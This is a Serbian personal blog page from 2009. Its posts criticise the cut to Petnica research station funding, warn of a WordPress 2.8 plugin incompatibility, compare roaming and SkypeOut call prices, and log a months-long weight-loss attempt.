Opet, nada umire poslednja i nekako se stalno nadam da će i ta i takva vlast, pored podela svojih prćija, pored podela mesta u upravnim odborima, pored podela svih mesta koje donose novac uz malo ili nimalo truda, naći dovoljno pametnih ljudi u svojim redovima da urade nešto dobro za ovaj narod (tj. nas), nešto pametno i da će napraviti razliku (na bolje) od danas do sutra.

No, naša vlast se svaki put potrudi da demantuje takve nade i to vrlo uspešno:

Ministarstvo obrazovanja ukinulo finansiranje istraživačkoj stanici Petnica (nema 24 miliona dinara)

“Ministarstvo prosvete ukinulo je finansiranje Istraživačke stanice ‘Petnica’, kaže Vigor Majić, direktor ISP i objašnjava da nije dobio nikakvo obrazloženje zašto, posle dve i po decenije, država odustaje od finansiranja ‘Petnice’, kroz koju je prošlo više od 50 hiljada mladih istraživača.”

(izvor: Borba)

Za one koji ne znaju, Istraživačka stanica Petnica je centar za razvoj mladih talenata, namenjena dodatnom, vanškolskom obrazovanju i unapređivanju, kako i školaraca, tako i nastavnog osoblja.

Ja sam imao tu sreću da u više navrata boravim u Petnici, i to je fenomenalno iskustvo – način da talentovanoj deci na drugačiji i bolji način od “standardnog školstva” približite nauku, istraživanje, nove oblasti sa kojima se inače nikada ne bi sreli.

No, “pametno” Ministarstvo obrazovanja i gospodin Žarko Obradović zaključuju da za ovakvo nešto nema para i da je najbolje prvo tu secnuti (kriza, znate); da budem pošten, nije ovo odlika samo dotičnog ministra; i prethodnik, gospodin Zoran Lončar je pokušao istu akciju krajem 2007. godine, ali mu na sreću, zbog pritiska javnosti, to nije uspelo.

Vlada Srbije usvojila interventne mere za pomoć medijima u uslovima ekonomske krize (60 miliona dinara)

“Vlada Republike Srbije usvojila je na današnjoj sednici interventne mere za pomoć medijima u uslovima ekonomske krize.Za praćenje ovih mera zaduženo je Ministarstvo kulture.

Vlada će iz tekuće budžetske rezerve obezbediti dodatna sredstva u visini od 60 miliona dinara, koja će biti namenjena za sufinansiranje projekata u oblasti informisanja.”

Izvor: sajt Ministartva kulture

Sad, ja razumem da je za kratkoročne i kratkovide ciljeve možda našim (jadnim) političarima bitnije da finansiraju (podobne) medije, ali zar zaista niko u Vladi nema dovoljno mozga da shvati da je finansiranje kvalitetnog obrazovanja i sprečavanje odliva mladih mozgova strateški interes Srbije i da su možda mogli da daju medijima 36 miliona a da 24 miliona preostalih daju, kako treba, Petnici?

I da li ima još nekoga u Vladi ko će podržati Božidara Đelića i Ministarstvo nauke koji jedini daju podršku Petnici?

Ili smo svi mi izgubljeni (Srbija) i “prave vrednosti” koje ostanu za Srbiju su Pink, Kurir i Press?

Linkovi:

Challenge i WordPress 2.8

WordPress 2.8 i Challenge - loša kombinacijaAko koristite visoko efikasni dodatak, Challenge, za odbranu protiv spama (sabiranje, sabiranje) a uradili ste osvežavanje (upgrade) WordPress-a na poslednju, 2.8 verziju, isključite Challenge.

Naime, kako su to Charolija i Mooshema lepo prijavile, možete da se oderete od sabiranja i opet ništa.

Šteta. Probaću da kontaktiram autora i/ili da sam vidim šta ga boli, ali za sada: WordPress 2.8 i Challenge – nesrećna kombinacija.

Roaming i Skype

Skype protiv roamingaAko imate sreće da često putujete van granica naše (male) zemlje, a želite da budete dostupni preko vašeg mobilnog telefona, neosporno ste se sreli sa pojmom roaming: način da vašim mobilnim telefonom komunicirate iz bilo koje zemlje (odnosno preko operatera te zemlje) koja ima ugovor sa vašim mobilnim provajderom.

Neosporna udobnost ovakve usluge (pozivalac ne mora ni da zna gde se nalazite) je praćena vrlo neprijatnim faktorom: cena. Sve će vam naplatiti: dolazne pozive, odlazne pozive, prenos podataka (ako proveravate mail / surfujete) i po paprenoj tarifi.

Pravi razlog za ovo nije tehnološke prirode (ako vas zanima kako to radi, evo Wikipedia članka o Roamingu) već čisto kapitalističko-komercijane prirode: to su slatke, slađane pare i za vašeg operatera i operatera zemlje u kojoj ste – bez puno truda, svaki vaš minut razgovora će im se itekako isplatiti:

  • Odlazni pozivi (kada vi zovete) najčešće se zaokružuju na ceo minut (naviše, naravno)
  • Ako i koristite GPRS (Web/Mail/MMS poruke), vrlo često se prenos zaokružuje na 100kb
  • Obično ima i drugih “skrivenih” fiksnih troškova: uspostavljanje veze, slanje MMS-a i slično

Kako cifre govore više od reči, evo za moj slučaj: korisnik Prenesi 60 postpaid usluga Telenora, koristio telefon u Parizu:

Pregled cena mobilnih usluga kod kuće i u roamingu
Vrsta usluge Cena kod kuće Cena u Zoni 2 Procenat povećanja
Odlazni poziv 0.085 € 1.427 € 1574%
Dolazni poziv 0 € 0.496 € –
Slanje SMS-a 0.032 € 0.272 € 760%
GPRS (100kb) 0.049 € 0.981 € 1883%

(računato prema kursu evra 1€ = 95 din; za pozive je data cena za minut)

Pogledajte samo te “slatke” procente (ne za korisnike, nego za operatera) – teško ćete naći još neki (legitiman) posao koji barata takvim ciframa.

No, ako ste “kompjuterizovani” putnik (imate laptop i znate da se snađete za bežičnu konekciju), postoji vrlo jednostavno rešenje: Skype. Skoro svi znaju da je Skype neprikosnoveni lider kada su u pitanju PC – PC komunikacije (takvi pozivi su besplatni), ali nikako ne treba zaobići ni SkypeOut opciju – mogućnost da zovete sa vašeg računara bilo koji broj i da šaljete SMS na mobilne brojeve.

Ako odaberete PayAsYouGo opciju, za 10€ (koliko je minimalna uplata) ćete se napričati i poslati poruka; evo cena:

SkypeOut cene usluga – pozivi ka Srbiji
Vrsta usluge Cena kod kuće SkypeOut Cena Procenat povećanja
Poziv fiksnog telefona 0.085 € 0.107 € 26%
Poziv mobilnog telefona 0.085 € 0.240 € 182%
Slanje SMS-a 0.032 € 0.090 € 181%

Takođe, za cenu jednog SMS-a možete postaviti i Caller Identification tako da onaj koga pozivate dobija vaš mobilni broj kao dolazni, a ne neki nepoznati strani broj.

Zato, ako idete “napolje” i nosite laptop, učinite sitan napor uplate SkypeOut usluge – višestruko će vam se isplatiti.

Težina

Ta hrana i težina :-)Jedan od mojih, ovaj, kako da kažem, vidljivih problema je težina (za nevidljive probleme jedan post je malo 😛 ).

Sad, naravno, imam celu paletu opravdanja i razloga zašto je to tako (“taki mi pos’o”, “predispozicije”, “godine”, “usporio se metabolizam” itd, itd), ali je objašnjenje jednostavno: volim da jedem i toga se ne stidim 🙂

No, opet, ne bih imao ništa protiv da se oslobodim fudbalske (pre košarkaške) lopte, čisto da bih se bolje osećao (i prestao sebe da plašim pred ogledalom), konačno prestao da slažem odeću za “kad smršam” a bogami i podigao neke zdravstvene cifre (odnosno smanjio pritisak).

Da ne bude da je ovo prvi put – već se dugo vremena bavim dijetama (Što bi Maja rekla: “od kada te znam, ti si na dijeti” a ja bih mogao da dodam “sa sve većim ciframa na vagi” 🙂 ) ili, da parafraziram Marka Tvena, “lako je držati dijetu – to sam radio stotinama puta” 🙂 Doduše, da ne bude baš sve na moj račun, držati dijetu uopšte nije lako:

  • Prvo, tek tada shvatite šta je Frojd mislio sa Ego / Super-ego paradigmom: u svakom trenutku kao da u glavi imate dva glasa: jedan, superego, obično jači na početku dijete koji viče “ostavi tu krmenadlu, na dijeti si!” i drugi, ego, koji kaže: “ne slušaj tu super-ego budalu, već preliv, vruć hleb i čisto uživanje” 😛
  • Retko ko, čak i najbliži vas shvataju ozbiljno (valjda zbog broja pokušaja) tako da se i ne obaziru na izjave “neću tortu, na dijeti sam” i slično
  • U Srbiji na vas obično gledaju kao na kvarišu zabave: “vidi kakva plećka / ražnjić / roštilj, a ti jedeš neke trave i salate”
  • Svakodnevnica dijetu ne čini lakšom – silne pekare, Perperi i sendvičare teško da vam mogu pomoći u zdravoj ishrani

Kao informational freak radio sam propisni research na Google-tu, našao i probao Hakersku dijetu (check), razne druge zasnovane na “jedem samo jednu vrstu hrane a nikako i drugu” (check), nisam probao bazirane na krvnoj grupi pošto se surovo racionalni deo mene ne slaže sa teorijom … sve u svemu, svašta sam probao.

Rezulati su da sam sa svojih 180 cm visine dogurao do skoro 100 kg (99.1 kg na današnji dan) što je cifra koja me ozbiljno plaši.

E, kako je 1. jun PRVI u mesecu i PONEDELJAK, savršen je za početak nečeg novog, obećanja, cilja, projekta … recimo da ću u sledećih 26 40 nedelja iliti 6 9 meseci solidno smršati 🙂 Sam period je strateški izabran: glavni praznici i slave su prošli, leto je pred nama (= vožnja bicikle), lepi dani … motivacije na pretek.

Da pored unutrašnje želje (koja zna malko da oslabi pored raznih slastica, slatkiša, mladog filea, šnicli na mađarski način, rozen torte, oblandi sa alvom, sladoleda, šunki, krem sira sa feferonima na toplom sendviču, gulaša, šnicli na luku…) povećam uloge, auditorijum i navijače, rešio sam da sve vas, draga čitalačka publiko, uključim u projekat – možda me bude tako sramota da prerano odustanem 🙂 (kao mnogo puta do sada).

Da sada postavimo i propozicije iliti pravila igre:

Tekuća težina: 99 kg
Željena težina: 78 kg (imao sam je poslednji put… ne sećam se :-|)
Utešna težina: 83 kg (za svaki slučaj, treba imati fallback cilj)
Period: 26 nedelja (6 meseci) 40 nedelja (9 meseci)
Način: dijeta i vežbanje

Pažljivi čitalac će primetiti da nisam naveo koja dijeta; biće zdravorazumska – smanjiti količinu, povećati kvalitet i držati se toga 🙂 Naime, sve ostale dijete koje su podrazumevale ili potpuno izbacivanje jedne vrste hrane (nemoguće: pre ili kasnije vam se užasno jede baš ta vrsta) ili strogo merenje i preračunavanje kalorija (nepraktično: probajte da u dužem vremenskom periodu stalno ovo radite, kako i kući, tako i u posetama) prosto nisu dobre – treba vam nešto što će najmanje poremetiti ritam, a opet dovesti do rezultata.

Da bih vizuelizovao celu priču, evo i prigodnog grafikona (doduše, znam da aproksimacija linijom nije najbolja na svetu za proces mršavljenja, ali da ne preterujem):

Vesic.Org - Projekat 'Težina'

Vaš zadatak neće biti težak: možete da pratite, svraćate svakog ponedeljka na ovaj post, bodrite, dajete predloge šta i kako jesti… Ma sve što vam padne na pamet 🙂

(Kao informational freak – ovo već zvuči kao eho – onaj gornji grafikon je “živ” – kako unesem podatke u Google Spreadsheets, a to se osveži ovde 🙂 )

08.06.2009 – 97.1 kg (očekivano: prve nedelje se gubi tečnost i slično; neće nastaviti ovim ritmom)
15.06.2009 – 96.4 kg (so far, so good)
22.06.2009 – 95.1 kg (kotrlja 🙂 )
29.06.2009 – 94.6 kg Ovo je bila jedna vrlo teška / krizna nedelja. Nije bilo vožnje bicikle sa/na posao, loše vreme, tako da su me stare navike uzele pod svoje i opet sam krenuo uveče grickanje čega se dohvatim. Tek na kraju nedelje sam se opametio, i prestao sa tim. Uh.
06.07.2009 – 94.1 kg Nije bilo nedeljne (duge i zahtevne, vikend danom) vožnje bicikle, pa se to definitivno vidi na težini. Imam još malo lufta do projektovane, ali se ta razlika topi. Fokusirati se na fizičku aktivnost.
13.07.2009 – 93.5 kg Iako sam se trudio (recimo juče do Avale i nazad, 55km), opadanje težine je usporeno.
20.07.2009 – 92.8 kg Kako smo imali “restoran viked” (lepa poseta 🙂 ) još sam dobro i prošao 🙂
27.07.2009 – 92.4 kg Vozio bajs (i to baš duga vožnja), pazio na hranu, ali nekako je slabo prošla ova nedelja 😐 – istrošio sam “prednost” koju sam stekao u početku. Moraću više da se potrudim …
03.08.2009 – 93.5 kg Ne da se nisam potrudio, nego sam uprskao tri nedelje truda 🙁 Kada se osvrnem na proteklu nedelju, ispada da sam prekršio svako od tri pravila koje sam sebi postavio: nema jela posle 19h, jedi samo kada si gladan, bez gaziranih sokova. Dodajte na to vikend bez VVV (Velike Vikend Vožnje), roštiljada i klopa po Aranđelovcu i (relativno depresivni) rezultati su tu 😐 No, šta je tu je, lekcija naučena, idem u ispravljanje.
10.08.2009 – 92.8 kg Idemo dalje; pored toga što me prethodni vikend totalno upropastio 😉 mislim da postoji još jedan vrlo važan razlog zašto je sve sporije i teže: treći mesec; naime, sve moje ostale 😉 dijete su neslavno propale baš u trećem mesecu; da li na početku ili na kraju, nebitno. Tada valjda oslabi elan i lako se zaborave svi dogovori sa samim sobom. No, sada će biti drugačije 🙂 (e da: crta se ne vidi jer se poklapa sa “utešnom” linijom)
17.08.2009 – 91.7 kg
24.08.2009 – 91.1 kg
31.08.2009 – 91.6 kg Jeste, jeste – nije bilo vožnje, a i bio je rođendan od sestričine (mlada topla prasetina mmmmm 🙂 ) Živ čovek 😀
07.09.2009 – 90.9 kg Pusta linearna funkcija, ima da me namuči samo tako da se vratim ispod utešne linije 🙂
14.09.2009 – 91.3 kg Ovo oscilovanje mora nekako da prestane, sve sam gori …
21.09.2009 – 91.0 kg
28.09.2009 – 90.6 kg – REBALANS GRAFIKONA 🙂
Surovi podaci (i vreme) su pokazali da su postavljeni ciljevi prosto nerealni. Kako nikako ne želim da odustanem, uradio sam ono što moram – rebalans plana mršavljenja (kada država može budžeta, što ja ne mogu plana 😛 ). Novi grafikon već vidite – ono što je bitno je da je ciljni datum gurnut mnogo dalje u budućnost – 1. mart 2010!

U svakom slučaju, današnje stanje po starom planu možete naći ovde a od sada idem po novom (slika na uobičajenom mestu).
05.10.2009 – 90.2 kg
12.10.2009 – 90.9 kg (bah, berba u Topoli 🙂 )
19.10.2009 – 90.9 kg
26.10.2009 – 91.3 kg
02.11.2009 – 91.9 kg
09.11.2009 – 92.4 kg
16.11.2009 – 93.5 kg Treba li komentar? 😐
23.11.2009 – 93.5 kg
30.11.2009 – 93.2 kg